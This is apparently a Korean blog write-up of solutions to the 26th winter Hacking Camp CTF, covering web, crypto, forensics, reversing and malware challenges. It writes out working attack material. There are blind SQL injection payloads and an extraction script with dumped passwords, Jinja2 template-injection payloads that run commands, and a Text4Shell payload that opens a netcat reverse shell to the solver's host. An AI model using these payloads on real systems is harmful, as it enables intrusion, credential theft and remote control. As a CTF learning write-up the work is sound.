운좋게 해킹캠프에 참가할 수 있는 기회를 얻게되어 참가를 하게 됬습니다.
해당 포스트는 제26회 동계 해킹캠프 CTF 문제풀이이며 제가 풀 수 있는 문제들을 정리했습니다.
Web - SQL에게로 떠나는 여행
title
노래를 재생하는 웹사이트이며, 노래가 어느정도 재생 되면 로그인 창이 나타납니다. index
guest:guest로 로그인이 가능합니다. guest login
로그인 시도시 응답패킷을 살펴보면 Code라는 헤더가 추가적으로 존재하는것을 확인할 수 있습니다. Response Packet
“with debug parameter”라고 적혀있으며, debug 파라미터를 붙여주면 아래와 같이 쿼리문을 디버깅 할 수 있는 페이지가 출력 됩니다.
debugging page
ini_set( "display_errors", 1 );
include "./db.php";
include "./flag.php";
$id = '';
$pw = '';
$DEBUG = false;
$tblname = 'chall';
header('Code: with debug parameter');
if (isset($_GET["debug"])) {
# code highlight
highlight_file(__FILE__);
$DEBUG = true;
}
//////////////////////////////////////////////////
function query($conn, $q) {
$result = mysqli_query($conn, $q);
if (!$result) {
echo("쿼리오류 발생: " . mysqli_error($conn));
}
$row = mysqli_fetch_array($result);
if (!$row) die('{"status":"fail", "msg":"User not found."}');
return $row[0];
}
if (isset($_GET["id"])) $id = trim($_GET["id"]);
if (isset($_GET["pw"])) $pw = trim($_GET["pw"]);
$query = "SELECT * FROM ". $tblname ." WHERE id='". $id ."' AND pw='". $pw ."';";
if ($DEBUG) echo "<h4>".$query."</h4><hr>";
/////////////////////////////////////////////////
if ($DEBUG) echo "<br>[Stage 1] : ".query($conn, $query)."<br>";
if(preg_match("/(\/| )(and|or)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 2] : ".query($conn, $query)."<br>";
if(preg_match("/(\||\&)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 3] : ".query($conn, $query)."<br>";
if(preg_match("/(#|-)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 4] : ".query($conn, $query)."<br>";
if(preg_match("/(\/| )(limit|like|union|select)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 5] : ".query($conn, $query)."<br>";
# check!
$name = query($conn, $query);
if (!$DEBUG) {
if (query($conn, $query) == "2023_admin" & strlen($id.$pw) <= 7) {
echo '{"status":"success", "msg":"'. $flag .'"}';
} else {
echo '{"status":"success", "msg":"'.$name.'님 안녕하세요. 월 9,900원에 무제한 스트리밍을 즐겨보세요 :)"}';
}
}
?>
SELECT * FROM chall WHERE id='' AND pw='';
해당 페이지의 가장 아래부분을 보면 디버깅용도로 필터링을 테스트하는 코드가 존재합니다. 필터링은 아래와 같이 총 5단계 까지 존재합니다.
if ($DEBUG) echo "<br>[Stage 1] : ".query($conn, $query)."<br>";
if(preg_match("/(\/| )(and|or)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 2] : ".query($conn, $query)."<br>";
if(preg_match("/(\||\&)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 3] : ".query($conn, $query)."<br>";
if(preg_match("/(#|-)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 4] : ".query($conn, $query)."<br>";
if(preg_match("/(\/| )(limit|like|union|select)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 5] : ".query($conn, $query)."<br>";
사실상 SQL Injection이 불가능하도록 필터링이 되어있지만, 해당 디버깅 페이지에서는 아무 필터링이 걸려있지 않는 Stage 1의 출력 내용으로 SQL Injection을 시도할 수 있습니다.
또한 최종적으로 플래그를 얻기 위해서는 5단계의 필터링을 넘어서 2023_admin 계정으로 로그인 해야하기 때문에 해당 계정의 비밀번호를 알아내야 합니다.
if (!$DEBUG) {
if (query($conn, $query) == "2023_admin" & strlen($id.$pw) <= 7) {
echo '{"status":"success", "msg":"'. $flag .'"}';
} else {
echo '{"status":"success", "msg":"'.$name.'님 안녕하세요. 월 9,900원에 무제한 스트리밍을 즐겨보세요 :)"}';
}
}
stag 1의 출력 내용으로 Blind SQL Injection을 시도합니다. sql injection
아래 페이로드로 DB명, Table명, 컬럼 명 간단하게 구할 수 있는 데이터는 바로 구해줍니다.
// db 길이
' or (select length(database()) < {size})#
// db 이름
' or (select ord(substr(database(), 1, 1)) < {size})#
// table 갯수
' or (select count(table_name) from information_schema.tables where table_schema = 'CTF') = 1#
// table 길이
' or (select length(table_name) from information_schema.tables where table_schema = 'CTF') = 5#
// 컬럼 갯수
' or (select count(column_name) from information_schema.columns where table_name = 'chall') = 2#
// 컬럼 이름
' or (select column_name from information_schema.columns where table_name = 'chall' limit 0, 1) = 'id'#
// 컬럼 명
' or (select column_name from information_schema.columns where table_name = 'chall' limit 1, 1) = 'pw'#
컬럼의 값을 구하는과정은 수동으로 작업하면 오래걸리기 때문에 스크립트를 작성했습니다.
import requests
import string
url = 'http://***.***.***.***:*****/login.php/?debug'
params = {
'debug': '',
'pw': '1',
'id': ''
}
def do_request(payload):
params['id'] = payload
c = requests.get(url, params=params)
#print(f"payload is {payload}")
return '[Stage 1] : guest' in c.text
def bin_search(low, high, payload):
while 1:
mid = int((low + high) / 2)
#if (low == mid):
if (low+1 == high):
return mid
#print(f"{low} {high} {mid}")
if (do_request(payload.format(size = mid))): # 값이 참이라면
high = mid
else:
low = mid
def get_count(query):
count = bin_search(1, 100, query)
return count
def get_len(query, count):
size_list = []
for i in range(0, count):
size = bin_search(1, 100, query.format(idx = i))
size_list.append(size)
return size_list
def get_name(query, size_list):
name_list = []
for i in range(0, len(size_list)):
name = ''
for j in range(1, size_list[i] + 1):
name += chr(bin_search(1, 127, query.format(idx = i, subidx = j)))
print(f"name is {name}")
name_list.append(name)
return name_list
if __name__ == "__main__":
count = get_count("' or (select count(id) from chall) < {size}# ")
print(f"id column count is {count}")
id_size_list = get_len("' or (select length(id) from chall limit {idx}, 1) < # ", count)
print(f"size list is {id_size_list}")
id_list = get_name("' or (select ord(substr(id, {subidx}, 1)) from chall limit {idx}, 1) < #", id_size_list)
print(f"id list is {id_list}")
pw_size_list = get_len("' or (select length(pw) from chall limit {idx}, 1) < # ", count)
print(f"password size list is {pw_size_list}")
pw_list = get_name("' or (select ord(substr(pw, {subidx}, 1)) from chall limit {idx}, 1) < #", pw_size_list)
print(f"pw list is {pw_list}")
# idlen = get_len("' or (select length(database()) < {size})#")
# print(f"db len is {dblen}")
# idname = get_name("' or (select ord(substr(database(), {idx}, 1)) < )#", dblen)
# print(f"dbname {dbname}")
스크립트를 돌려서 모든 계정의 아이디와 패스워드를 알아냅니다.
$ python3 sqli.py
id column count is 9
size list is [5, 5, 5, 10, 10, 10, 10, 10, 10]
name is guest
name is user1
name is user2
name is 2020_admin
name is 2021_admin
name is 2022_admin
name is 2023_admin
name is 2024_admin
name is 2025_admin
id list is ['guest', 'user1', 'user2', '2020_admin', '2021_admin', '2022_admin', '2023_admin', '2024_admin', '2025_admin']
password size list is [5, 40, 40, 40, 40, 40, 40, 40, 40]
name is guest
name is b8d645e25ac02ea40e5b7983754e47338a24f909
name is c831d7988969c488233fb18de263282e19b902ac
name is d53c7a897ed580f1aecf5b93b8085eacbd4089a5
name is b8d0e3b05c2f4813c9fdbd0ec0214e0f82c62d64
name is 99133d42ece32a6784595e8b7b03584dec82e0c9
name is f3b2230bc4fe66f382fa8281dc1cd1d9a7b0725d
name is e692806b065615ce818365548c97885eb1d80ea4
name is 9736c19ebc1f9a777acc38ee68cf4517feaba66a
pw list is ['guest', 'b8d645e25ac02ea40e5b7983754e47338a24f909', 'c831d7988969c488233fb18de263282e19b902ac', 'd53c7a897ed580f1aecf5b93b8085eacbd4089a5', 'b8d0e3b05c2f4813c9fdbd0ec0214e0f82c62d64', '99133d42ece32a6784595e8b7b03584dec82e0c9', 'f3b2230bc4fe66f382fa8281dc1cd1d9a7b0725d', 'e692806b065615ce818365548c97885eb1d80ea4', '9736c19ebc1f9a777acc38ee68cf4517feaba66a']
run script: 아랫 부분은 password is여야 하는데 잘못 적었습니다
최종적으로 2023_admin 계정의 비밀번호는 “f3b2230bc4fe66f382fa8281dc1cd1d9a7b0725d” 입니다. 그러나 단순히 id와 pw만 입력한다면 로그인만 되고 플래그는 보이지 않습니다.
2023_admin login
그 이유는 플래그값이 출력되는 조건이 id와 password를 합한 길이가 7 이하여야 하기 때문입니다.
if (!$DEBUG) {
if (query($conn, $query) == "2023_admin" & strlen($id.$pw) <= 7) {
echo '{"status":"success", "msg":"'. $flag .'"}';
} else {
echo '{"status":"success", "msg":"'.$name.'님 안녕하세요. 월 9,900원에 무제한 스트리밍을 즐겨보세요 :)"}';
}
}
id와 password에 7글자 이하의 값을 입력하여 로그인하는 방법은 아래와 같습니다.
우선 로그인 쿼리는 다음과 같습니다.
select * from table where id = ‘’ and pw = ‘’
여기서 id에 “\
” 문자를 넣어 아래와 같은 형태를 만듭니다.
select * from table where id = ‘\' and pw ='
’
id에 “\
” 문자 하나를 썻으므로 추가적으로 6글자를 입력해서 로그인을 해야합니다.
여기서는 DB SQL에서 문자열과 숫자를 어떻게 비교하는지 알필요가 있습니다.
sql상에서 문자만 존재하는 문자열은 숫자 0과 동일합니다.
select ‘a’ = 0
문자열의 첫부분에 숫자가 존재한다면 그 숫자를 인식하게 됩니다. select ‘1a’ = 1
즉 문자열 “2023a”는 숫자 2023과 동일하며 “2023a” + 1을 연산할 시 2024가 됩니다. select ‘2023a’ + 1 == 2024
이러한 원리를 적용하여 id에는 “\
“를 넣고, pw에는 “+’2023
” 을 넣으면 아래와 같은 형태가 됩니다.
select * from table where id = ‘\' and pw =''+'2023
’
앞의 ‘\' and pw ='
‘은 0이 되고 0+2023이 되어 최종적으로 아래와 같은 쿼리가 됩니다.
select * from table where id = ‘2023’
또한 2023_admin은 숫자 2023과 동일하기 때문에 딱 7글자 만으로 로그인에 성공하게 되며, 플래그를 얻게 됩니다. Get Flag
Web - 지금 무슨 노래 듣고 계세요?
title
Password를 입력하는 인풋 박스와, index 페이지에 검은색으로 가려진 부분이 있습니다. index
가려진 부분을 개발자 도구로 보면 암호화된 데이터를 확인할 수 있습니다. 추가적으로 주석에서 암호화 방법까지 확인할 수 있습니다.
86931336e61585356646332657472385a49365a5a76585954493655667a475a577c68435
<!--
function makeSecret($password) {
return strrev(bin2hex(base64_encode($password)));
} -->
DevTools
암호화 방법은 “strrev → hex2bin → base64 decode” 과정을 거치며 역의 과정을 거쳐 복호화를 해줍니다.
[strrev] 파이썬 또는 자바스크립트를 이용해 글자를 뒤집습니다. python javascript
아래와 같은 데이터가 나옵니다.
53486c775a574a76655639445958567a5a56394a58327475623364665358516e63313968
[hex2bin]
hex2bin online 사이트가 있어서 사이트를 이용했습니다.
https://onlinephp.io/hex2bin
hex2bin site
아래와 같은 데이터가 나옵니다.
SHlwZWJveV9DYXVzZV9JX2tub3dfSXQnc19h
[Base64 Decoding] 사이트를 이용해서 디코딩 해줍니다. Base64 Decoding
아래와 같은 데이터가 나옵니다.
Hypeboy_Cause_I_know_It's_a
해당 값을 PW 인풋란에 넣고 Sign In 버튼을 누르면 fake password 라며 “NEwJeaNs_Co0ki3” 값을 출력해줍니다.
index-2
해당 페이지에는 “WhatSong?” 이라는 쿠키가 존재하는데, 해당 쿠키 값으로 “NEwJeaNs_Co0ki3”를 넣고 요청을 보내주면 최종적으로 플래그를 얻을 수 있습니다. Get Flag
HCAMP{WHat_sOng_Are_Y0u_List3nin9_To?_NEwJeaNs_Co0ki3}
Web - Starlink
title
flag를 적는 인풋박스와 send 버튼이 있습니다. index
해당 사이트는 flask 기반 웹서버이며 app.py 라는 소스코드를 제공해줍니다.
# app.py
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
def filter_template(query):
if "import" in query or "config" in query:
return True
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
mars = request.args.get("mars")
return render_template("index.html", mars=mars)
elif request.method == "POST":
mars = request.form.get("mars")
result = filter_template(mars)
if result == True:
return "Filtering haha, bypass go"
return render_template_string(mars)
if __name__ == '__main__':
app.run('0.0.0.0', 5000)
해당 서버는 POST 메소드 요청시 사용자가 입력한 문자열을 “render_template_string” 함수로 보낼 수 있습니다. SSTI(Server-Side Template Injection) 취약점이 존재하며 이를 이용해 RCE가 가능합니다.
SSTI
SSTI 취약점에 대해서는 아래 링크에 잘 정리 되어있으니 필요하시면 참고 바랍니다.
Request 메소드를 POST로 변경후 content-type을 추가합니다.
아래 페이로드로 ls -la
명령어를 실행합니다.
{{ [].__class__.__mro__[-1].__subclasses__()[-1]('ls -la',stdout=-1,stderr=-1,shell=True).communicate() }}
RCE
flag 파일이 존재함을 확인했으며 아래 페이로드로 플래그의 내용을 읽습니다.
{{ get_flashed_messages.**globals**.**builtins**.open("flag").read() }}
POST / HTTP/1.1
Host: ***.***.***.***:*****
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
mars=%7b%7b%20get_flashed_messages.__globals__.__builtins__.open(%22%2flag%22).read()%20%7d%7d
Get Flag
HCAMP{5t4r1ink_mars_g0g0g0}
config 와 import가 필터링 되어있는데 굳이 사용하지 않아도 클리어 가능했습니다.
Web - 이 노래 제목이 뭐였더라?
급하게 푸느라 타이틀 스크린샷을 찍지 못했습니다. Get Flag 화면으로 대체합니다. index
SQL Injection 문제이며 특정 노래의 제목을 입력하거나 참이 되는값을 넣으면 노래 목록이 출력됩니다.
제 기억으로 주석상 “Column Name: serial_number” 이라는 문구가 있던걸로 기억합니다.
아래와 같은 페이로드로 DB, 테이블, 컬럼 등의 정보를 알아낼 수 있습니다.
xxx' || (select length(database()) like 8) && '1' like '1
테이블명이 musicbox인것을 알아 낸 후 serial_number 컬럼값을 출력하는 스크립트를 작성해서 돌려줍니다.
import requests
url = 'http://***.***.***.***:*****/index.php'
params = {
'number': 'hype boy'
}
def get_response(payload):
params['number'] = payload
c = requests.get(url, params=params)
return 'Hype' in c.text
def bin_search(low, high, payload):
while 1:
mid = int((low + high) / 2)
#if (low == mid):
if (low+1 == high):
return mid
print(f"{low} {high} {mid}")
if (get_response(payload.format(size = mid))): # 값이 참이라면
high = mid
else:
low = mid
def get_length(data_count):
query_tmpl = "x' || (select (length(serial_number)) from musicbox limit {idx}, 1) < && '1' like '1"
for idx in range(0, data_count):
value = bin_search(1, 100, query_tmpl.format(idx = idx))
print(f"value is {value}")
def get_string(data_count, size):
query_tmpl = "x' || (select substr(serial_number, {num_idx}, 1) from musicbox limit {idx}, 1) < && '1' like '1"
serial_number = []
for idx in range(0, data_count):
for num_idx in range(1, size+1):
value = bin_search(1, 128, query_tmpl.format(num_idx = num_idx, idx = idx))
serial_number.append(value)
print(f"{idx} value is {serial_number}")
serial_number = []
if __name__ == "__main__":
# data 갯수 = 8개, size 8(모든 no가 동일)
# get_length(8);
get_string(8, 8)
실행해주면 총 8개의 데이터가 나옵니다. Run Python
8개의 시리얼 넘버 중 “15119241”를 넣으면 플래그값이 출력됩니다.
Get Flag
HCAMP{N4MUNH33'S_F1R5T_L0V3}
Web - Text Encryption Service
title
index 페이지는 다음과 같습니다. GET 메소드로 query 파라미터로 보낸값을 md5 해싱하여 페이지에 출력해줍니다. index
해당 문제는 소스코드를 제공해줍니다.
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Date;
import org.apache.commons.text.StringSubstitutor;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("encrypt")
public class TextController {
@RequestMapping(value = "/", method = RequestMethod.GET)
@ResponseBody
public String attack(@RequestParam(defaultValue="hackingcamp") String query) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
try{
String result = interpolator.replace(query);
} catch(Exception e) {
System.out.println(e);
}
String md5 = "";
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(query.getBytes());
byte[] bytes = md.digest();
StringBuilder sb = new StringBuilder();
for(int i=0; i< bytes.length ;i++) {
sb.append(Integer.toString((bytes[i] & 0xff) + 0x100, 16).substring(1));
}
md5 = sb.toString();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return "<!-- service use: /encrypt?query= --> This server is a service that returns an encrypted value based on the entered text. <br><br> Use the service freely <br><br> Encrypted value: " + md5;
}
}
소스코드상 md5 해싱하는 부분은 문제가 없습니다. 해당 문제는 “org.apache.commons.text.StringSubstitutor” 메소드에 존재하는 Apache Commons Text에서 발견된 취약점 CVE-2022-42889으로 접근해야 합니다.
Text4Shell 공격이라고도 하며 문제가 되는 부분은 “String result = interpolator.replace(query);
” 입니다. 해당 부분에서 사용자가 입력한 값으로 RCE를 시도할 수 있습니다.
nc로 리버스 커넥션을 시도하기 위해 Text4Shell RCE 페이로드를 구성해줍니다.
(Text4Shell RCE 페이로드는 검색으로 쉽게 발견할 수 있습니다.)
${script:javascript:java.lang.Runtime.getRuntime().exec('nc [ip] [port] -e /bin/bash')}
URL 인코딩해서 query 파라미터로 값을 넘겨주면 대기중인 포트로 쉘이 떨어지고, flag를 확인할 수 있습니다. Get Flag
HCAMP{for_y0ur_textshe11}
Misc - MD5
title
문제자체는 굉장히 단순합니다. MD5로 암호화가 되어있는 아래 문자열의 평문을 알아내는 것입니다.
058eaed9ece7e6c925f4de372975af27
해당 해시값은 HCAMP로 시작하는 임의 문자열로 이루어져 있습니다. itertools의 product 함수를 이용해서 HACAMP + ‘임의의 문자열’과 해당 해시를 비교하는 스크립트를 짜서 돌려줍니다.
import hashlib
import string
from itertools import *
flag = "058eaed9ece7e6c925f4de372975af27"
is_found = 0;
for i in range(1, 10):
printList = list(product(string.ascii_letters, repeat = i))
for char_list in printList:
encdata = 'HCAMP' + ''.join(s for s in char_list)
result = hashlib.md5(encdata.encode()).hexdigest()
print(encdata + ' md5 hashing: ' + result)
if result == flag:
print(f"find flag!!! plain: {str} / md5: {result}")
++is_found
break
if is_found:
break;
20분 정도 돌려서 일치하는 해시값을 찾았습니다.
Get Flag
사이트에서 한번더 확인해봅니다. 일치합니다.
check
HCAMP{HCAMPpoalA}
Misc - 타임캡슐
title
해당 문제는 구글 설문지로 퀴즈를 푸는 형식으로 되어 있습니다.
첫번째 문제입니다. 1차 보호막
68 65 6c 6c 6f 20 68 61 63 6b 69 6e 67 63 61 6d 70
ASCII 코드로 추정되어 문자열로 바꿔주었습니다. exploit
‘hello hackingcamp’를 입력해서 다음 단계로 넘어갑니다.
두번째 문제입니다.
2차 보호막
01010100 01101111 00100000 01010100 01101000 01100101 00100000 01010101 01101110 01101001 01110110 01100101 01110010 01110011 01100101
2진수를 ASCII 코드로 바꿔줍니다.
exploit
‘To The Universe’를 입력해서 다음 단계로 넘어갑니다.
세번째 문제입니다.
3차 보호막
문자열의 형태가 Base64로 추정되어 base64 Decoding을 해주었습니다. Base64 Decoding
‘Oh my oh my God!’를 입력해서 다음 단계로 넘어갑니다.
네번째 문제입니다.
4차 보호막
Nny vmm jryy
해당 암호문은 “Caesar Cipher
” 입니다.
이 암호기법은 각 문자를 알파벳의 순서에 따라 일정한 거리만큼 이동시켜서 변환하는 것입니다. 이 경우 “Aal izz well” 문자열에서 각 문자를 오른쪽으로 13개의 칸씩 이동시켜 “Nny vmm jryy”로 변환한 것입니다.
exploit
‘Aal izz well’를 입력해서 다음 단계로 넘어갑니다.
다섯번째 문제입니다.
5차 보호막
사실 해당 문제는 구글 설문지로 되어있기 때문에 정답을 소스코드 보기를 통해서 알 수 있습니다. 정답은 “Congratulations” 이지만 어떤 기법을 사용해서 암호화 된건지 파악이 불가능했습니다.
@lmdqbwvobwjlmp
Congratulations
3과 1씩 증가시키거나 감소시킵니다.
ChatGPT의 힘을 빌려 암호화 기법을 알아내려 했지만 학습이 잘못된건지 원하는 답변을 들을순 없었습니다.
어쨋든 편법을 이용해서 마지막 문제를 풀어 flag를 얻을 수 있습니다.
Get Flag
HCAMP{T1m3_is_go1d}
Crypto - 방탈출 막타 기회 드립니다
title
아래 암호를 해독하는 문제입니다.
wslhzl kljvkl bzpun ihzl64 kNooitznlD91PZI0hNsgPNsgPNGzFDjnZLUIACI7ktCflC92T3Q5E28eGM9pTN5uhD59
힌트로 준 링크를 들어가면 스키테일, 시저, 악보 암호 등의 암호들이 나옵니다.
https://seed.kisa.or.kr/kisa/intro/EgovHistory.do
이런 암호문을 해독할때 팁이 있는데, 문장에서서 가장 자주 쓰이는 문자열을 파악한 후 대입해보는 것입니다. 해당 암호문에서 ihzl64 라는 문자가 눈에 띄었고 base64로 추정되어 복호화를 시도했는데, 알파벳을 7번씩 미루니 정확히 base64와 일치하는것을 확인했습니다.
파이썬을 이용해서 lowercase와 uppser case 알파벳을 대상으로 해당 문자열의 아스키코드값에 7을 빼는 스크립트를 짜서 돌려줍니다.
import string
enc_string = "wslhzl kljvkl bzpun ihzl64 kNooitznlD91PZI0hNsgPNsgPNGzFDjnZLUIACI7ktCflC92T3Q5E28eGM9pTN5uhD59"
str_list = list(enc_string)
dec_string = ''
for a in str_list:
if (a in string.ascii_lowercase):
if ord(a)-7 < 97:
dec_string += chr((123-(7-(ord(a)-97))))
else:
dec_string += chr(ord(a)-7)
elif (a in string.ascii_uppercase):
if ord(a)-7 < 65:
dec_string += chr((91-(7-(ord(a)-65))))
else:
dec_string += chr(ord(a)-7)
else:
dec_string += a
print(dec_string)
깔끔하게 복호화 되었습니다.
dGhhbmsgeW91ISB0aGlzIGlzIGZsYWcgSENBTVB7dmVyeV92M3J5X28xZF9iMG5naW59
Decrypt
Base64 Decoding 해주면 플래그가 나옵니다. Get Flag
thank you! this is flag HCAMP{very_v3ry_o1d_b0ngin}
Forensic - The glory
title
스테가노그래피 문제로 아래 이미지 파일이 제공됩니다. image
zsteg로 한참 삽질하다가 결국 아래 Steganography Online 사이트에서 Decode 하니 바로 플래그가 나왔습니다.
https://stylesuxx.github.io/steganography/
Get Flag
HCAMP{Y0u_D0n7_NO_Beautiful_World_JaeJun}
Reversing - Only for Newbie
title
해킹캠프에 참가한 초보자를 위해 출제된 문제입니다. 바이너리를 실행하면 아래와 같은 메시지가 나옵니다.
message-1
message-2
message-3
message-4
message-5
설명 이후 사용자의 입력을 받습니다. input-1
임의의 값을 넣어봅니다. 정해진 길이값과 일치해야 다음단계로 넘어가는 것 같습니다. input-2
길이값을 알아내기 위해 GDB로 사용자의 입력을 받는 scanf 문까지 갑니다. gdb
scanf로 받은 사용자입력값은 $rax에 저장됩니다. 이후 strlen 함수로 사용자가 입력한 길이를 알아낸 후 0x1a값과 비교합니다. 0x1a는 십진수로 26이며 길이가 일치하면 “0x555555555435”로 점프합니다.
0x0000555555555408 <+451>: call 0x555555555120 <__isoc99_scanf@plt>
0x000055555555540d <+456>: lea rax,[rbp-0x70]
0x0000555555555411 <+460>: mov rdi,rax
0x0000555555555414 <+463>: call 0x5555555550d0 <strlen@plt>
0x0000555555555419 <+468>: cmp rax,0x1a
0x000055555555541d <+472>: je 0x555555555435 <main+496>
26글자의 임의의 문자를 입력해줍니다. 이번에는 값이 일치하지 않는다고 나옵니다. input ‘x’x25
해당 값을 알아내기 위해 길이가 일치하면 점프되는 “0x555555555435” 이후로 비교하는 부분을 분석합니다.
0x0000555555555435 <+496>: lea rdi,[rip+0x1254] # 0x555555556690
0x000055555555543c <+503>: call 0x5555555550c0 <puts@plt>
0x0000555555555441 <+508>: movzx eax,BYTE PTR [rbp-0x70]
0x0000555555555445 <+512>: cmp al,0x48
0x0000555555555447 <+514>: jne 0x555555555457 <main+530>
cmp 부분을 다 모으면 아래와 같습니다.
0x0000555555555445 <+512>: cmp al,0x48
0x0000555555555451 <+524>: cmp al,0x43
0x0000555555555475 <+560>: cmp al,0x41
0x0000555555555499 <+596>: cmp al,0x4d
0x00005555555554bd <+632>: cmp al,0x50
0x00005555555554e1 <+668>: cmp al,0x7b
0x0000555555555505 <+704>: cmp al,0x43
0x0000555555555529 <+740>: cmp al,0x6f
0x000055555555554d <+776>: cmp al,0x6e
0x0000555555555571 <+812>: cmp al,0x67
0x0000555555555595 <+848>: cmp al,0x72
0x00005555555555b9 <+884>: cmp al,0x61
0x00005555555555dd <+920>: cmp al,0x74
0x0000555555555601 <+956>: cmp al,0x73
0x0000555555555625 <+992>: cmp al,0x5f
0x0000555555555649 <+1028>: cmp al,0x59
0x000055555555566d <+1064>: cmp al,0x6f
0x0000555555555691 <+1100>: cmp al,0x75
0x00005555555556b5 <+1136>: cmp al,0x5f
0x00005555555556d9 <+1172>: cmp al,0x53
0x00005555555556fd <+1208>: cmp al,0x6f
0x0000555555555721 <+1244>: cmp al,0x6c
0x0000555555555745 <+1280>: cmp al,0x76
0x0000555555555769 <+1316>: cmp al,0x65
0x000055555555578d <+1352>: cmp al,0x64
0x00005555555557b1 <+1388>: cmp al,0x7d
문자열로 변환해 주면 플래그를 얻을 수 있습니다. Get Flag
HCAMP{Congrats_You_Solved}
Reversing - DIS? Python!
title
디스어셈블 데이터인 main.txt를 참고하여 result.txt를 복호화하는 문제입니다.
result.txt
[288, 268, 260, 308, 320, 492, 260, 432, 448, 416, 388, 392, 404, 464, 380, 292, 460, 380, 280, 468, 440, 500]
main.txt
==================================================
main function
19 0 BUILD_LIST 0
2 STORE_FAST 0 (result)
20 4 LOAD_GLOBAL 0 (range)
6 LOAD_CONST 1 (0)
8 LOAD_GLOBAL 1 (len)
10 LOAD_GLOBAL 2 (data)
12 CALL_FUNCTION 1
14 CALL_FUNCTION 2
16 GET_ITER
>> 18 FOR_ITER 24 (to 44)
20 STORE_FAST 1 (i)
21 22 LOAD_FAST 0 (result)
24 LOAD_METHOD 3 (append)
26 LOAD_GLOBAL 4 (formula)
28 LOAD_GLOBAL 2 (data)
30 LOAD_FAST 1 (i)
32 BINARY_SUBSCR
34 LOAD_CONST 2 (2)
36 CALL_FUNCTION 2
38 CALL_METHOD 1
40 POP_TOP
42 JUMP_ABSOLUTE 18
22 >> 44 LOAD_GLOBAL 5 (print)
46 LOAD_FAST 0 (result)
48 CALL_FUNCTION 1
50 POP_TOP
52 LOAD_CONST 0 (None)
54 RETURN_VALUE
None
==================================================
formula function
6 0 LOAD_FAST 1 (shift)
2 LOAD_FAST 2 (size)
4 INPLACE_MODULO
6 STORE_FAST 1 (shift)
7 8 LOAD_FAST 0 (data)
10 LOAD_FAST 2 (size)
12 LOAD_FAST 1 (shift)
14 BINARY_SUBTRACT
16 BINARY_RSHIFT
18 STORE_FAST 3 (remains)
8 20 LOAD_FAST 0 (data)
22 LOAD_FAST 1 (shift)
24 BINARY_LSHIFT
26 LOAD_FAST 3 (remains)
28 LOAD_FAST 2 (size)
30 BINARY_LSHIFT
32 BINARY_SUBTRACT
34 STORE_FAST 4 (body)
9 36 LOAD_FAST 4 (body)
38 LOAD_FAST 3 (remains)
40 BINARY_ADD
42 RETURN_VALUE
None
파이썬 역어셈블러에 대해서 살펴보다가 size = 2와 shfit가 보이길래 shift하는 스크립트를 짜서 게싱으로 풀었습니다.
import string
a = [288, 268, 260, 308, 320, 492, 260, 432, 448, 416, 388, 392, 404, 464, 380, 292, 460, 380, 280, 468, 440, 500]
flag = ''
for i in a:
data = i >> 2
flag += chr(data)
print(flag)
스크립트를 돌려주면 플래그를 얻을 수 있습니다. Get Flag
HCAMP{Alphabet_Is_Fun}
Malware - malware analysis class
title
제공된 c코드를 분석해서 악성코드에서 PC정보를 가져올때 사용하는 API 함수를 찾으면 됩니다.
// malware class 01
#include <iostream>
#include <winsock2.h>
#include <fstream>
#include <sstream>
#include <string>
#include <Windows.h>
#include <vector>
#include <algorithm>
#include <openssl/bio.h>
#include <openssl.evp.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
string base64Encode(const std::vector<unsigned char>& data) {
BIO* b64 = BIO_new(BIO_f_base64());
BIO* bio = BIO_new(BIO_s_mem());
bio = BIO_push(b64, bio);
BIO_write(bio, data.data(), data.size());
BIO_flush(bio);
BUF_MEM* buffer = NULL;
BIO_get_mem_ptr(bio, &buffer);
string result(buffer->data, buffer->length);
BIO_free_all(bio);
return result;
}
int main(int argc, char* argv[])
{
WSADATA wsaData;
sockaddr_in clientService;
const char* message = "This is HackingCamp Malware Class 01";
char sendbuf[2048];
int sendbuflen = 2048;
char recvbuf[2048];
int recvbuflen = 2048;
string historyFile = NULL;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != NO_ERROR)
{
cout << "WSAStartup failed with error: " << iResult << endl;
return 1;
}
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET)
{
cout << "socket failed with error: " << endl;
WSACleanup();
return 1;
}
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
clientService.sin_port = htons(5893);
iResult = connect(sock, (SOCKADDR*)&clientService, sizeof(clientService));
if (iResult == SOCKET_ERROR)
{
cout << "connect failed with error: " << WSAGetLastError() << endl;
